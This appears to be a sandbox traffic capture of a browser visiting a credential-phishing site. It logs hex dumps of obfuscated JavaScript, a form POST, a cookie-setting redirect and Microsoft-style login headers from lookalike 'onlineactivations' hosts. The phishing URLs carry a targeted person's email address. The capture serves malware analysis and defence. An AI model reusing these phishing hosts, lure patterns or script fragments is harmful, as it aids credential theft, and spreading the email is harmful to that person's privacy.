2024-12-20 19:31:07 UTC	16384	IN	Data Raw: 38 30 30 30 0d 0a 21 51 4a 28 66 75 6e 63 74 69 6f 6e 28 51 54 29 7b 76 61 72 20 64 58 3d 64 39 3b 51 59 5b 27 61 6c 6c 27 5d 28 51 54 29 5b 64 58 28 30 78 33 35 61 29 5d 28 76 6f 69 64 20 30 78 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 7d 29 3b 7d 65 6c 73 65 7b 76 61 72 20 51 73 3d 58 77 28 30 78 31 32 39 61 29 2c 51 65 3d 58 61 28 30 78 63 66 30 29 2c 51 55 3d 58 71 28 30 78 31 38 37 35 29 2c 51 72 3d 51 55 28 30 78 31 36 65 65 29 2c 51 78 3d 51 73 28 27 27 5b 27 72 65 70 6c 61 63 65 27 5d 29 2c 51 43 3d 58 72 28 27 5e 5b 27 2b 51 72 2b 27 5d 2b 27 29 2c 51 6f 3d 58 53 28 64 39 28 30 78 31 38 32 29 2b 51 72 2b 64 39 28 30 78 34 35 35 29 2b 51 72 2b 64 39 28 30 78 32 38 65 29 29 2c 51 4e 3d 66 75 6e 63 74 69 6f 6e 28 51 50 29 7b 72 65 74 75 72 6e Data Ascii: 8000!QJ(function(QT){var dX=d9;QY['all'](QT)[dX(0x35a)](void 0x0,function(){});});}else{var Qs=Xw(0x129a),Qe=Xa(0xcf0),QU=Xq(0x1875),Qr=QU(0x16ee),Qx=Qs(''['replace']),QC=Xr('^['+Qr+']+'),Qo=XS(d9(0x182)+Qr+d9(0x455)+Qr+d9(0x28e)),QN=function(QP){return
2024-12-20 19:31:07 UTC	16384	IN	Data Raw: 28 30 78 34 31 65 29 29 7d 2c 7b 27 69 6e 64 65 78 4f 66 27 3a 66 75 6e 63 74 69 6f 6e 28 51 55 29 7b 76 61 72 20 48 4c 3d 48 6c 2c 51 72 3d 61 72 67 75 6d 65 6e 74 73 5b 48 4c 28 30 78 65 30 29 5d 3e 30 78 31 3f 61 72 67 75 6d 65 6e 74 73 5b 30 78 31 5d 3a 76 6f 69 64 20 30 78 30 3b 72 65 74 75 72 6e 20 51 65 3f 51 73 28 74 68 69 73 2c 51 55 2c 51 72 29 7c 7c 30 78 30 3a 51 68 28 74 68 69 73 2c 51 55 2c 51 72 29 3b 7d 7d 29 3b 7d 2c 30 78 31 33 36 32 3a 66 75 6e 63 74 69 6f 6e 28 51 4b 2c 51 69 2c 51 45 29 7b 76 61 72 20 48 6d 3d 61 30 58 35 2c 51 59 3d 51 45 28 30 78 31 35 64 66 29 2c 51 4a 3d 51 45 28 30 78 31 62 62 37 29 2c 51 68 3d 51 45 28 30 78 31 61 37 37 29 2c 51 54 3d 51 45 28 30 78 31 31 38 33 29 2c 51 73 3d 51 45 28 30 78 31 36 63 62 29 5b 27 Data Ascii: (0x41e))},{'indexOf':function(QU){var HL=Hl,Qr=arguments[HL(0xe0)]>0x1?arguments[0x1]:void 0x0;return Qe?Qs(this,QU,Qr)\|\|0x0:Qh(this,QU,Qr);}});},0x1362:function(QK,Qi,QE){var Hm=a0X5,QY=QE(0x15df),QJ=QE(0x1bb7),Qh=QE(0x1a77),QT=QE(0x1183),Qs=QE(0x16cb)['
2024-12-20 19:31:07 UTC	8	IN	Data Raw: 74 75 72 6e 20 51 0d 0a Data Ascii: turn Q
2024-12-20 19:31:07 UTC	16384	IN	Data Raw: 31 30 30 30 30 0d 0a 41 3b 51 4d 3d 51 70 3d 51 7a 3b 7d 65 6c 73 65 7b 76 61 72 20 6a 32 3d 5b 5d 5b 51 76 5d 3b 72 65 74 75 72 6e 21 21 6a 32 26 26 51 7a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 4b 49 3d 4b 6d 3b 6a 32 5b 4b 49 28 30 78 31 38 34 29 5d 28 6e 75 6c 6c 2c 6a 32 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 30 78 31 3b 7d 2c 30 78 31 29 3b 7d 29 3b 7d 7d 7d 72 65 74 75 72 6e 20 51 49 28 51 41 2c 51 5a 28 51 61 2c 51 70 29 29 2c 51 41 3b 7d 5d 3b 7d 2c 51 62 7c 7c 21 51 63 2c 51 4c 29 3b 7d 2c 30 78 31 35 34 33 3a 66 75 6e 63 74 69 6f 6e 28 51 4b 2c 51 69 2c 51 45 29 7b 76 61 72 20 4b 5a 3d 61 30 58 35 2c 51 59 3d 51 45 28 30 78 32 31 61 34 29 2c 51 4a 3d 51 45 28 30 78 31 35 63 61 29 2c 51 68 3d 51 45 28 30 78 37 30 66 Data Ascii: 10000A;QM=Qp=Qz;}else{var j2=[][Qv];return!!j2&&Qz(function(){var KI=Km;j2[KI(0x184)](null,j2\|\|function(){return 0x1;},0x1);});}}}return QI(QA,QZ(Qa,Qp)),QA;}];},Qb\|\|!Qc,QL);},0x1543:function(QK,Qi,QE){var KZ=a0X5,QY=QE(0x21a4),QJ=QE(0x15ca),Qh=QE(0x70f
2024-12-20 19:31:07 UTC	16384	IN	Data Raw: 51 78 5b 30 78 31 5d 3d 51 45 5b 51 59 2b 30 78 65 5d 2c 58 54 28 51 78 2c 30 78 33 30 29 2c 58 73 28 51 72 2c 51 78 29 3b 63 61 73 65 20 30 78 65 3a 51 78 5b 30 78 31 5d 3d 51 45 5b 51 59 2b 30 78 64 5d 2c 58 54 28 51 78 2c 30 78 32 38 29 2c 58 73 28 51 72 2c 51 78 29 3b 63 61 73 65 20 30 78 64 3a 51 78 5b 30 78 31 5d 3d 51 45 5b 51 59 2b 30 78 63 5d 2c 58 54 28 51 78 2c 30 78 32 30 29 2c 58 73 28 51 72 2c 51 78 29 3b 63 61 73 65 20 30 78 63 3a 51 78 5b 30 78 31 5d 3d 51 45 5b 51 59 2b 30 78 62 5d 2c 58 54 28 51 78 2c 30 78 31 38 29 2c 58 73 28 51 72 2c 51 78 29 3b 63 61 73 65 20 30 78 62 3a 51 78 5b 30 78 31 5d 3d 51 45 5b 51 59 2b 30 78 61 5d 2c 58 54 28 51 78 2c 30 78 31 30 29 2c 58 73 28 51 72 2c 51 78 29 3b 63 61 73 65 20 30 78 61 3a 51 78 5b 30 78 Data Ascii: Qx[0x1]=QE[QY+0xe],XT(Qx,0x30),Xs(Qr,Qx);case 0xe:Qx[0x1]=QE[QY+0xd],XT(Qx,0x28),Xs(Qr,Qx);case 0xd:Qx[0x1]=QE[QY+0xc],XT(Qx,0x20),Xs(Qr,Qx);case 0xc:Qx[0x1]=QE[QY+0xb],XT(Qx,0x18),Xs(Qr,Qx);case 0xb:Qx[0x1]=QE[QY+0xa],XT(Qx,0x10),Xs(Qr,Qx);case 0xa:Qx[0x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49727	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:15 UTC	1046	OUT	POST /?777=mwebb%40windsorhomestx.com HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: keep-alive Content-Length: 5303 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:15 UTC	5303	OUT	Data Raw: 72 72 32 36 34 73 71 75 78 66 71 3d 25 35 42 25 35 42 25 32 32 32 35 33 37 34 33 37 31 32 35 33 37 34 36 32 25 32 32 25 32 43 25 32 32 35 34 33 33 32 32 35 33 38 33 32 36 64 32 35 25 32 32 25 32 43 25 32 32 34 33 33 32 32 35 33 38 33 36 34 31 32 35 34 25 32 32 25 32 43 25 32 32 33 33 32 32 35 33 38 33 39 37 33 37 39 32 35 25 32 32 25 32 43 25 32 32 33 37 34 33 33 32 37 35 36 33 36 64 32 35 33 25 32 32 25 32 43 25 32 32 37 34 33 32 35 33 33 34 32 37 65 37 61 33 31 25 32 32 25 32 43 25 32 32 33 36 33 37 33 37 33 38 33 38 33 38 33 37 33 25 32 32 25 32 43 25 32 32 33 33 32 33 32 33 38 33 35 33 33 33 33 33 34 25 32 32 25 32 43 25 32 32 33 31 25 32 32 25 35 44 25 32 43 25 32 32 31 36 37 37 38 38 38 37 33 32 25 32 32 25 32 43 25 32 32 39 32 35 32 38 35 39 25 32 Data Ascii: rr264squxfq=%5B%5B%22253743712537462%22%2C%22543322538326d25%22%2C%22433225383641254%22%2C%22332253839737925%22%2C%2237433275636d253%22%2C%227432533427e7a31%22%2C%22363737383838373%22%2C%22332323835333334%22%2C%2231%22%5D%2C%221677888732%22%2C%229252859%2
2024-12-20 19:31:15 UTC	464	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 20 Dec 2024 19:31:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com set-cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; Domain=acmgs.com.au; HttpOnly; Path=/; SameSite=None; Secure
2024-12-20 19:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49729	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:16 UTC	1009	OUT	GET /?777=mwebb%40windsorhomestx.com HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:17 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 56786 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 4bd5c5a4-c3ff-4094-b88b-8c3d1b216100 x-ms-ests-server: 2.1.19683.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:17 UTC	6440	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc bd 7b 5f db b8 d6 28 fc ff 7c 0a c8 33 2f b6 37 06 e2 5c 48 48 ea c9 49 03 2d 0c 17 07 92 02 d3 0c bb c7 71 9c 4b 31 71 1a e7 52 da 72 3e fb bb 2e 92 2d 87 a4 dd 67 3f fb 39 f3 fb 4d 71 64 59 5a 92 96 d6 5d 4b 6f b6 8f 9d 46 fb af e6 c9 d6 70 f6 14 fc f1 db 1b fe b3 f5 66 e8 bb 3d f8 bb f5 66 36 9a 05 3e 3e 6d dd f8 bd d1 d4 f7 66 a3 f1 00 5f 1c c4 6f de 3c f9 33 77 cb 0b c7 33 7f 3c b3 33 33 ff eb ec 00 db a9 6e 79 43 77 1a f9 33 7b 3e eb ef 95 33 d0 c7 6c b2 e7 7f 99 8f 16 76 a6 c1 d5 f7 da cf 13 3f 73 b0 a6 99 b3 13 db ef 0d fc f4 57 f7 7b 1f ea 7b 8d f0 69 e2 ce 46 dd 60 fd 87 cb 51 6f 36 b4 7b fe 62 e4 f9 7b f4 c3 dc 1a 8d 47 b3 91 1b ec 45 9e 1b f8 b6 b5 9f 35 b7 9e dc af a3 a7 f9 93 28 ca 61 d1 3c f2 a7 f4 db 85 b6 Data Ascii: {_(\|3/7\HHI-qK1qRr>.-g?9MqdYZ]KoFpf=f6>>mf_o<3w3<33nyCw3{>3lv?sW{{iF`Qo6{b{GE5(a<
2024-12-20 19:31:17 UTC	16384	IN	Data Raw: 60 f4 3f f1 72 37 39 45 75 f0 19 83 0c 60 19 d7 7d 90 3a 0d fa fa b3 e4 24 e9 87 f6 bb bd 72 66 7d af 32 84 7a b2 1f 87 b5 6f a8 b8 7a 7c 03 bf 49 85 4c af ff 8e e3 e6 a1 2e 3d 80 40 b3 b1 1a 06 db 73 3d 78 c2 8a b1 ef 6b 6a ef 81 c6 40 ca 75 77 55 b9 ce b0 13 16 65 d0 2e 28 d6 72 d9 01 cf ec 99 74 f3 b0 e2 da ed 4c 1f 6a f8 0f 2d 3e 0a 7c e8 e6 1c d9 28 81 65 2a b0 d5 40 f0 f2 31 42 ee d7 84 a5 11 4e fd 2d c6 89 ad 3e 06 9e 3c 50 7c 17 7c 5c 2c a2 10 f7 95 c3 ce c6 99 ca 64 9f 87 4d c7 fb 3c fc 8d 47 0c 48 ae 83 81 e2 6f 39 2f e6 6f 99 a7 68 f0 ef 77 4f 91 b8 61 c7 7a e0 ce 02 3e 66 88 b1 d5 f8 07 7e 6d 03 48 18 ae 49 a0 f4 08 14 35 66 10 3e 89 e4 b1 c0 de c8 05 48 86 fa b3 f1 52 c5 d5 1a f7 74 44 f5 7d 56 6f 47 fd 67 7d 64 28 fe f2 97 25 12 84 67 12 bd Data Ascii: `?r79Eu`}:$rf}2zoz\|IL.=@s=xkj@uwUe.(rtLj->\|(e*@1BN-><P\|\|\,dM<GHo9/ohwOaz>f~mHI5f>HRtD}VoGg}d(%g
2024-12-20 19:31:18 UTC	16384	IN	Data Raw: 74 ab c8 0b 4b 1b 03 8a 5e 5e 85 d7 42 78 65 4e c8 a4 af ce d2 92 f3 48 b8 d8 de f4 7d 0e be 17 66 6a ed 9f 53 f8 78 b0 02 69 6e 03 a4 fc 82 d8 28 3d e6 31 3e 5f 18 59 82 e4 22 8a ef da db 1b e7 fc e4 ea 53 a3 7e 73 d2 e6 bb 30 2e cf 5a ad 93 e3 4f ad f6 59 e3 fc 2f 28 9a 98 da 87 ab d6 87 66 d3 b9 69 43 39 16 0d 78 b9 41 e0 d9 b4 da cb fc af 57 5b 9c f0 67 6d 7e 99 57 cc 25 af e6 a1 60 2f f3 7c 1d 01 de b6 6a 22 02 57 63 0b d3 a0 b3 2c 24 18 1e ff 24 e3 22 f3 23 bc e4 38 a2 b3 55 e2 25 dd a4 15 e7 0e 45 59 6d e3 40 8a bf 1e c8 b2 28 d1 96 46 52 fc d9 48 0e ed 65 51 8c 64 49 a1 f8 79 10 57 71 77 cb 5b 6d ba c4 3d 01 ce c3 44 10 ea 62 2a 51 49 12 29 15 ea 8f 1f 5a d7 c3 9a f0 4e 54 95 d9 28 c4 af b2 11 8f cf eb 6f 1c 5e 12 7c 52 64 65 e3 d7 7a c3 80 0d 0c Data Ascii: tK^^BxeNH}fjSxin(=1>_Y"S~s0.ZOY/(fiC9xAW[gm~W%`/\|j"Wc,$$"#8U%EYm@(FRHeQdIyWqw[m=Db*QI)ZNT(o^\|Rdez
2024-12-20 19:31:18 UTC	16384	IN	Data Raw: f2 0b cc 4c 4f b7 19 5e 06 5c 1f a0 9a 44 16 a6 41 7d 62 8f 65 07 3c a6 a6 1a 93 2c 35 8a 5a 8c 5f 00 68 d2 ab db 16 7d b7 bf 0c e1 b7 ea 69 03 8a 75 b5 5e 25 9c d7 a9 ac 22 59 44 2e 47 2a 4a 50 83 99 7e 3b 65 25 57 5c f5 d4 bb 98 e6 a7 a5 15 0c b7 12 d3 f3 a7 d1 94 3c dd 56 b0 c9 cf 18 9b 7c 5e 0e 94 72 cc 5d ad 1f 0f 2c 4e 58 fb 50 90 24 29 d7 c2 78 f2 99 36 24 00 54 98 21 8f 0b 41 8a f1 66 bd 1c 27 a8 30 8b f8 60 27 77 5a f3 83 9f 44 df 4a 63 c7 49 8c 22 a4 2e 15 21 89 66 b3 32 43 c4 a5 15 e2 8f 53 d8 ca d8 9b 0f ed fe 26 1b 68 88 0f d0 c0 e2 a8 ba bc c6 aa 21 5c b7 57 50 17 20 0d a8 f1 1b 21 e8 48 c3 2f 2e a4 c9 6f 70 9d 2e e2 3f 4e 91 ae 2f c6 40 ac 84 fb 14 ae ca 2e d5 8b a6 c9 d5 a6 92 24 ad 5e c5 28 80 49 d8 88 bd 03 22 0b e3 ef 5c 5b c6 d6 73 c9 Data Ascii: LO^\DA}be<,5Z_h}iu^%"YD.G*JP~;e%W\<V\|^r],NXP$)x6$T!Af'0`'wZDJcI".!f2CS&h!\WP !H/.op.?N/@.$^(I"\[s
2024-12-20 19:31:18 UTC	1194	IN	Data Raw: 0e a4 b9 1b 37 b6 37 fe 34 20 dd f1 f5 9c 39 98 b5 18 a9 56 84 07 b0 3e 9b c0 bb e0 da 22 7c 3a be 32 27 d8 f8 bc 94 3d a8 86 b6 6f 3b 0e 90 92 f5 fb b4 3f d2 47 d8 0a 7d 5a 8a a2 fb fb 4a ed a9 7e 6f ea ea 0d b8 de 40 9f 6c 9b 6c a9 19 90 06 3c d4 07 eb 34 e5 97 9b 43 bb 4f 40 68 c3 70 aa 98 0c f6 7c 2a 33 e3 23 9b f4 a5 0e 87 98 0e 27 9b 6a 7b ea 1f 9a 9b 0c 94 f9 7a 6a 4e c8 89 4e 4b 53 ba e3 4a 1b f5 ef 9b 71 d8 51 40 37 03 fd 72 d7 7c b6 89 13 e4 b2 bd a1 25 6c e2 6e 02 fc ee be ae d1 ef d9 d1 4d 97 da 60 4a f1 14 66 4d 40 14 51 26 b5 66 97 6d d6 27 8e 1f ca 45 60 ee bf 0c c2 0d 4d bf 51 54 0e 99 5c 0a a6 33 0e 8f d1 cd 03 40 cc 0d 31 0d 87 e1 0f e1 46 bd 01 ff e2 39 62 ba bf 3c 38 0e f8 e6 f2 e0 9f 63 3c 76 ac ef 2c 0f b0 ab 19 b4 a0 bb 0b 8e a5 70 Data Ascii: 774 9V>"\|:2'=o;?G}ZJ~o@ll<4CO@hp\|*3#'j{zjNNKSJqQ@7r\|%lnM`JfM@Q&fm'E`MQT\3@1F9b<8c<v,p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49730	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:19 UTC	727	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:21 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:20 GMT Content-Type: application/x-javascript Content-Length: 49924 Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 02 Oct 2024 20:05:23 GMT etag: 0x8DCE31D8CF87EF9 x-ms-request-id: cd64ede3-801e-003b-3881-50b95f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193120Z-16fbf75468c2xbd5hC1FRAxq4800000009tg0000000093qr x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:21 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 4c cf 2e b0 5c 4e ac 80 a7 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 7f 88 71 12 57 a6 7e 9c 40 a1 91 98 86 8f 95 2a 54 17 79 95 53 37 4a 9e 2a 87 a7 66 1d ea 17 50 9b 7f eb 07 50 7a 1c ce 9e e0 f9 2e a9 04 61 e2 8f 45 c5 0d 3c aa 6d 0a 2f 41 2c 2a f3 c0 13 51 e5 f1 ce 1f df 55 8e fd 71 14 c6 e1 24 a9 44 62 2c Data Ascii: m[80OL;waL.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDeqW~@TyS7JfPPz.aE<m/A,*QUq$Db,
2024-12-20 19:31:21 UTC	16379	IN	Data Raw: ee f2 c0 f1 c3 7e 2f 9b bc 8d d2 cd 1c cd 74 23 0e 4e 2a e9 06 24 7a 6b b3 de c2 27 69 f0 fe 12 7a de 2e 39 3e 00 d9 82 9b 2c d1 57 92 8f 4d 90 cb 5b 25 99 4d 29 af b4 d8 e0 d9 1c b7 f7 e0 2d 58 39 9d e3 4c e0 d9 3b a4 71 e0 03 9e f5 7b 26 1e 84 3a 07 63 c5 0e 11 ea 6f 5a 87 dc 70 c2 81 cc bc 73 04 87 36 7d e9 4d 12 a5 bd d2 e6 3a 3c 2c 69 0e c3 72 24 6e 71 6a dd d2 40 39 82 f8 89 d1 f2 21 e2 2d 5b 29 1e 3e e4 af 22 b2 8d bf 7d ec 7d dc fb b8 6b e4 95 2a 9e b7 b8 9b 43 28 3f 95 c6 a1 6d c4 da 1b 70 01 54 e9 ab ac fb ec 85 e7 e9 04 4f a3 92 74 00 22 5d 85 e1 a4 9a 9f 9a 97 61 14 d0 ef 4b f7 f4 82 54 d2 be 80 cd 15 1e 72 b9 b5 ff 61 70 86 50 1c bf 4d 22 45 4d 42 a9 6e 08 ca 1a b7 59 0a f7 ed 46 26 d3 b7 9b e4 c7 a1 53 63 a8 b3 c0 1b 91 cb 3b 36 35 b1 6d 1b Data Ascii: ~/t#N$zk'iz.9>,WM[%M)-X9L;q{&:coZps6}M:<,ir$nqj@9!-[)>"}}kC(?mpTOt"]aKTrapPM"EMBnYF&Sc;65m
2024-12-20 19:31:21 UTC	16384	IN	Data Raw: 46 79 da ad 9e f5 f0 5e d8 b4 08 da 28 05 f8 be 66 20 31 1c ec 2b f6 3f fb 85 5b f8 ec 33 32 ad c0 37 be ab 00 d2 c3 32 52 5d 11 68 11 bc bd bc 12 8b 0e 09 d2 57 70 9d 28 ce 59 89 70 26 88 23 c8 2b ea 0b 04 c9 95 c2 01 c2 63 f5 86 b5 54 96 57 81 a6 a8 56 83 f9 5a 75 4b b9 4c 5d 73 be 5d 08 8d 1f a3 76 7a e8 bc 09 6d fe aa 6d 90 d1 5c 4e 33 12 de 68 1b 14 d3 22 f8 4b 32 ed ab 64 4a 04 46 9b e5 cb 73 3f b4 24 07 8a d5 dc a0 8d ff a4 0d 05 a2 16 7e 06 11 d8 2f e6 d8 0b d6 12 91 54 cd 2a 90 95 47 9c 89 ce 47 af 7b 17 a7 3f 3f c1 8f fe 53 46 e8 38 88 e1 92 f5 d4 34 4b ca 3f e9 50 93 6e 5e 69 91 d6 5a a2 37 fb e1 55 10 6f 63 99 06 38 3c 13 b5 79 00 d4 b9 40 eb 00 90 39 24 c0 51 f5 12 27 95 8f f5 58 fb eb ae 90 f1 31 28 e6 b2 d7 de a9 f7 78 ab d5 9d ad 16 9b 6a Data Ascii: Fy^(f 1+?[3272R]hWp(Yp&#+cTWVZuKL]s]vzmm\N3h"K2dJFs?$~/T*GG{??SF84K?Pn^iZ7Uoc8<y@9$Q'X1(xj
2024-12-20 19:31:21 UTC	1583	IN	Data Raw: 2a ec e2 ae fd 7e 97 d1 ee 83 fd 87 7f de ff fe 4f 3f 3c fc b6 39 82 93 6e 4e 92 79 e4 7c f7 6d 9a 3e f8 fe 61 b2 fb c3 83 bd 78 f7 e1 ec bb 1f 76 7f 48 be dd db 8d ff b4 f7 ed fe 77 b3 07 7f fa fe db 3f 39 c4 4a a5 74 ae d6 c4 46 e5 44 f0 4b 62 a1 0a e2 a0 88 35 98 45 7b c4 2a f1 b9 7b 28 7f 0e e4 cf b3 8e ab ef 27 e3 86 52 09 60 38 32 4b 6a fb 8e 24 b0 ca 39 c3 23 90 14 f3 3c 5d 22 0f 07 2e 35 2d 7a 91 c0 79 07 77 00 c2 47 63 c3 4e 24 02 b7 36 e1 0c 6d 9c a8 11 14 db 91 90 8e 37 92 80 4c 7c ec c0 6f 92 04 ec 98 c8 0e 5c 7b a0 83 8d cb 84 4b 4f e7 69 76 99 26 23 a5 bb 62 1f 2f f9 c6 c8 19 67 9e ca 4c 77 79 54 1e 4f 94 b6 12 bf fd 2d b4 a5 72 0b d3 7e 56 a2 b2 ae 6b 63 1d e5 6f 5a 91 52 20 90 59 3b d4 42 b9 c0 a8 41 21 51 bc 19 8f 70 3c 9e f9 18 8c 30 25 Data Ascii: ~O?<9nNy\|m>axvHw?9JtFDKb5E{{('R`82Kj$9#<]".5-zywGcN$6m7L\|o\{KOiv&#b/gLwyTO-r~VkcoZR Y;BA!Qp<0%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49731	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:22 UTC	748	OUT	GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg==" Sec-WebSocket-Key: iA8wtNfTEl5/VqcbUrU3BQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
